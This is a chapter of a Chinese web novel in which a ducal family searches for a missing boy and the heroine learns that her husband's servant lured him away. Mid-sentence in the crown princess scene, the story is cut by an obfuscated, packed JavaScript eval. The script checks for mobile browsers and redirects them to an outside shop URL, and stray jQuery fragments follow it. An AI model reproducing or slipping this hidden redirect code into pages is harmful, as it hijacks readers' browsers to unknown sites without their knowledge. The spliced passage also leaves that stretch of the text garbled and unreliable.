文趣网 > 其他小说 > 亡妻变成弟媳回来了 > 26. 知真相
    “怎么了?脸色这样差。”

    萧从音浑浑噩噩回到碧云院,面对谢谦的关切,愈发心乱如麻。

    她从前问他是否和郡主长得像,他怎么说的?只眉眼略有一些。

    萧从音摇头,甩去无端的杂念,“我太累了,想歇一歇。”

    说着,兀自往内室走。

    谢谦没多问,替她燃了沉香安神。

    “你睡吧,我在这儿陪你。”他轻声说,一如既往的温柔,“睡一觉就好了。”

    萧从音这一夜睡得踏实。

    魏岚夜里却惊醒数次,四更天彻底惊醒,辗转反侧再难入眠。

    卯时俞氏和萧从音来请安,一前一后进来,见她模样皆吓了一跳。

    魏岚神思恍惚地摆摆手,示意她们不必多问,由着一群人伺候她梳洗更衣,温热帕子敷在脸上,毛孔舒张开来,勉强捉回几缕魂魄归位。

    细密脂粉均匀扑了两层,盖去灰败脸色,显出血色。

    对镜抚上鬓角,将几根白发往青丝中压了压,挂上得体的笑容,抚着钱妈妈的手往前厅去。

    和筠书入了府未圆房,祠堂上香告祖的仪式暂且不行,敬茶认亲的礼数免不得,厅上几院长辈皆在,她立在中央,一袭桃红洒金的通袖衫,下头系月白云缎裙,鬓边簪着赤金点翠的如意钗,亭亭站在那里。

    如花似玉的好模样。

    魏岚看着自己千挑万选,日盼夜盼迎进门的儿媳,想扯出一个笑来,嘴角却僵得很。

    儿媳是得了,却失了最心疼的孙儿。

    她哪里能真心笑出来。

    不合时宜地想起儿子临去前的信誓旦旦:倘若她私自做主迎和氏进门,就再不踏入京城一步。

    先头满腔把握,这会儿全落了空,像被烈日蒸干的晨露,寻不见影,且落得满怀寒凉。

    添儿不见了,柏钊再不回来,她可怎么活啊!

    越想越怕,身子止不住哆嗦,接茶盏时险些没稳住,幸而和筠书机灵,在底下托了一把。

    对上那双清澈的眼,魏岚扯出一个难看的笑,抿一口茶压惊,茶盏搁回托盘,从钱妈妈手中接了红封递过去,“好孩子,往后就是一家人了。”

    魏岚恐王府借机夺孩子,添儿失踪一事瞒得实。

    府内其他人只当添儿不愿见继母,去了外祖家小住,她这才不痛快。礼数过一圈,草草聊几句便散了席。

    慈安堂里,魏岚歪在软榻上,钱妈妈替她揉按太阳穴,俞氏和萧从音两个知情的儿媳一左一右坐在旁边,陪着说话宽慰。

    门外响起急促脚步声,小厮顶着满头汗跑到廊下,隔帘子回话:“太夫人,有信儿了!”

    “找到了?”魏岚霍地站起来。

    事态紧急,顾不得让丫鬟从中递话,让小厮直接进来回。

    小厮勾腰进来,埋头盯看脚尖,道:“回太夫人,人暂时没找到,但有个送菜的认出带走添哥儿的人,是,是......”

    “啰嗦什么,快说!”魏岚呵斥。

    “是和府家丁。”

    “和府?”魏岚嘴唇抖了两抖,布满血丝的眼里闪过震惊,骇然,渐渐转为阴沉。

    是了!添哥儿没了,来日和氏怀上子嗣,便是名正言顺的长房嫡出,和家送女儿入国公府,又为女儿的长远地位打算,动歹念害了添儿。

    魏岚越想越觉合理,一股气从胸口直顶上来,紧咬银牙,声音从齿缝里挤出来:“查!给我仔细查,欺负到国公府头上,我看他们有几个胆儿。”

    国公府派出的人照着送菜人所描述的模样向和家打听,果然得来一个管事的名字。

    寻到那管事住处时,人已吊死在自家屋子房梁上,身体僵冷,脖颈紫黑勒痕翻出皮肉,死了至少半日余。

    死无对证,送菜人的证词成了唯一线索,和家百口莫辩。

    魏岚气得要亲自带人去问罪。

    柏正茂及时拦住了她,“两家才结亲,喜幡尚且挂着,非有铁证,不能闹到明面上,当务之急先找到添儿的下落,活要见人,死......”

    柏正茂止了不吉利的话,改口道:“总之先找到添儿要紧。”

    *

    那厢琉璃从外面回国公府,径直来到碧云院。

    “三少夫人,太子妃请您去一趟。”

    这是查到线索了?

    萧从音连忙站起身,让她往前带路。

    琉璃领她从角门出去,未往东宫,而是一顶小轿抬到了清音阁。

    听闻太子妃是成帝时期含冤而亡的名将穆老将军之女,在外流落多年,直到与太子结缘才恢复身份,嫁入东宫。

    难不成她就是清音阁真正的东家?

    萧从音心中念头飞转,在楼下同虞掌柜打了个照面,点头示意,随琉璃上了二楼。

    是另一间雅室,画屏隔开内外,穆妤安坐在屏风前,一见她,直说免礼落座,“请你来见两个人。”

    一名护卫押着个尖嘴猴腮的中年男子进来。

    “说罢。”

    穆妤安清泠一声,男子躬身,倒豆子般交代:“和顺在我家赌坊欠了债,利滚利滚了一年多,足有三千两,我本打算让他拿......拿他女儿抵债,怎料初八日傍晚,他揣着几张银票来还账,我问他哪来的钱,他只说是有人托他办事得来的赏,具体办什么事我就不清楚了。”

    萧从音听明白了,他口中的“和顺”便是和家管事,刚巧在初八日还上赌债,债务还完,落得一身轻,没道理再寻短见。

    若是替主家办事,不会得几千两的赏,多半是被人拿住把柄,铤而走险换了笔横财,有命拿没命花。

    穆妤安递去眼神,护卫押着赌坊掌柜下去,琉璃和屋内其他人一并退下。

    “出来吧。”

    穆妤安话音落,从屏风后跑出一个小小的身影,直扑进萧从音怀里,带着哭腔喊:“婶娘!”

    “添儿?”萧从音又惊又喜,蹲下身上下前后打量他,“可有哪处受伤?”

    添儿摇头,顿了顿,说:“胳膊和膝盖擦破了皮,已经上过药,不疼了。”

    “那就好,那就好。”萧从音悬着的心总算落了地。

    “添儿让婶娘担心了。”添儿抱住她,反过来安慰她。

    穆妤安看着两人相拥,眼底掠过温软。

    母子连心,大抵如是。

    郡主便是真如柏钊所言什么都不记得,还是会处于本能地疼爱和担心添儿。

    “没事就好,你祖母可要急坏了。”萧从音松开添儿,替他理了理衣领抬头看向穆妤安,“多谢娘娘相助。”

    穆妤安莞尔,“一家人不说两家话,你且坐,添儿还有话要说。”

    萧从音依言落座。

    添儿攥紧她的手不肯松,贴近站着,轻声向穆妤安确认:“舅母,可以告诉婶娘吗?”

    穆妤安点点头。

    添儿转回来,道:“三叔身边的白果偷偷告诉我,婶娘因为祖母给爹爹续弦不高兴......和我一样很伤心,又问我想不想婶娘高兴,我当然想。他说婶娘最爱东街一个阿婆卖的豆花,豆花只在早上卖,如果我能帮婶娘买回来,婶娘就能欢喜,我想婶娘高兴......”

    “白果?”萧从音不可置信。

    白果是谢谦最信任的长随,他说这话,岂非意味着......

    不会的,谢谦不会的!

    “你没有骗我吧?”萧从音拢紧掌心,盯着添儿的眼睛问。

    添儿认真道:“白果就是这样说的。”

    萧从音松了手,靠进椅背,指尖一寸寸转凉。

    “婶娘。”添儿满眼担忧。

    萧从音默然许久,抬眸问:“娘娘既怀疑到我夫君身上,为何不直接问责,反而让添儿告诉我这些?”

    “你托我相助,我便将查来的结果一五一十教你知道。”穆妤安停了一瞬,接续道:“虞掌柜会送添儿回去,对国公府只说孩子难过想去找父亲,在码头失足落水。添儿今日所言不会再多一人知晓,至于旁的,你自行分辨考量。”

    萧从音:“娘娘的意思是平息是非,不深究了?”

    穆妤安:“和家姑娘才嫁进国公府门,事情闹大了,她往后无法自处。再者,国公府与和家都是太子信重的能臣重臣,撕破了脸给心怀不轨之人可乘之机,毁的就不止一桩姻缘了。”

    萧从音一点即通,明了穆妤安所言是顾虑,恰恰是幕后主使之人的目的。

    可幕后之人真的会是谢谦么?

    脑子里一团乱,混乱中冒出一个场景,添儿哭闹赖在碧云院那日,她去小书房寻谢谦,白果从里面出来,撞见她时满脸恐慌,问安都忘了,鞠了个躬匆匆跑开。

    当时她未多想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783239|208614||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,现在回想,莫不是怕她知道什么?

    *

    萧从音和添儿陆续离开,穆妤安起身转到屏风后,铺着软垫的宽榻上,屈膝靠着一个英武男子。

    正是太子萧戈。

    他一腾身挪出位置,穆妤安径直过去坐下。

    两人衣襟相贴,她卸下在外的端庄,眉心攒起忧虑,问道:“戳破真相,对她真的好吗?”

    萧戈揉开她眉心,顺手在脸颊上戳了一下,“心软了?这可不像你。”

    穆妤安拍开他的手,“谈不上心软,我是怕介入别人的情感不妥当......柏钊明知谢谦不单纯,怕郡主知道真相更受伤选择瞒下,只托付咱们暗中照应她们母子,咱们却背着他捅出去了,我怕郡主真的接受不了。”

    “你别小看那丫头。”萧戈不以为然,“柏钊是因爱生畏,其实他比谁都清楚,萧从音最厌恶欺骗,把她蒙在鼓里才是最大的残忍。”

    揭破痛苦的真相,还是维持虚假的安宁?

    穆妤安低声自语:“瞒一辈子若能得安稳,不见得是坏事。”

    萧戈抱臂往后一仰,哼道:“是,当时若非我揭破你那童养夫的花花心思,你定能自欺欺人同他安稳一生。”

    “......”穆妤安在他腰上狠拧了一把,嗔道:“都多久的事了,逮着机会就提,不嫌腻吗?”

    “不腻!”萧戈捉住她的手,咬着一口白牙笑得戏谑,“我就爱看你恼人。”

    他缠着人闹了一阵,闹得箭在弦上,眼见穆妤安羞得要真恼了,讪讪停了手,把人圈在怀里,摆正神色转开话题。

    “一个是我妹妹,一个与我有袍泽之谊,他俩成如今这样说来也有东宫一份责任,对的错的能推一把就推一把,不能眼睁睁看着好好一对有情人分崩离析。”

    穆妤安挣开他,爬起来躲得远远的,“话虽如此,如今和家姑娘进了国公府,他俩......还回得去吗?”

    一语中的,萧戈默然。

    他心里也在打鼓,柏钊向来守礼法,无论和家姑娘怎么进的府,挂了他妻子的名分,他便不会弃之不顾。

    而以萧从音的性子,万不能容忍感情里掺杂瑕疵。

    何况他二人中间,不止一个和氏。

    *

    柏钊收到了京中来信,续弦和添儿的事皆详述其中。

    天色自墨沉沉的浓黑,渐次转作鸦青,又泛出鱼肚白的薄光来。

    他枯坐椅中,定定望着残烛,看烛泪一层一层叠上去,叠得满了,缓缓淌下来,凝在铜盏边上。

    他动也不动,直坐得浑身骨骼都僵了,一双眼睛熬得通红,底下乌青一片,留不下一滴泪。

    离京前已做了决定,放她过安稳日子。

    决定放手,并不意味能接受另一个女子。

    母亲真是要逼死他。

    偏他此时身负皇命,还不能轻易舍了这条命。

    广州刺史兼任都督,统辖岭南区域,节制岭南五府经略使,权柄日重,岭南几成半独立之地,明面上归附朝廷,暗地里占着一方地头当土皇帝。

    税赋账目混乱,兵械记录与兵部存档对不上号,官员任免更是绕过吏部,直接由刺史府签发委任状。

    皇帝贬他之前,同他推心置腹谈过岭南局势,有意让他深入泥潭,搅动这潭浑水,筛干净了收归朝廷。

    他早年领兵征战,又曾在京畿大营任过职,对军政事务熟悉,如今弃武从文,恰能名正言顺来做一方知县。

    皇帝的原话:举目朝野,无人比你更胜任此差事。立下此功,来日你承袭国公之位,朕另加恩典,封你和丹阳的儿子做世子。

    封世子,是亲王嫡子才有的殊荣。

    柏钊不在意这些虚名,但君王有命,他只得尽忠。

    天光大亮,他闭目沉静几息,研磨提笔,写下三封信。

    装好落了漆章,唤来王宣交付,“这两封送回国公府,这一封秘密送入东宫。另外你亲自跑一趟楚州山阳,找到那姓罗的,不拘你使什么招,弄清楚他的女儿究竟是怎么一回事。”

    王宣听他语气坚定,讶然抬起头:“公子,您终于想好了?”

    “是,所以你此去必得成事,我要看到白纸黑字的供词。”

    “公子放心,属下定不辱使命。”王宣声如洪钟,将柏钊熬了彻夜的困倦震散了。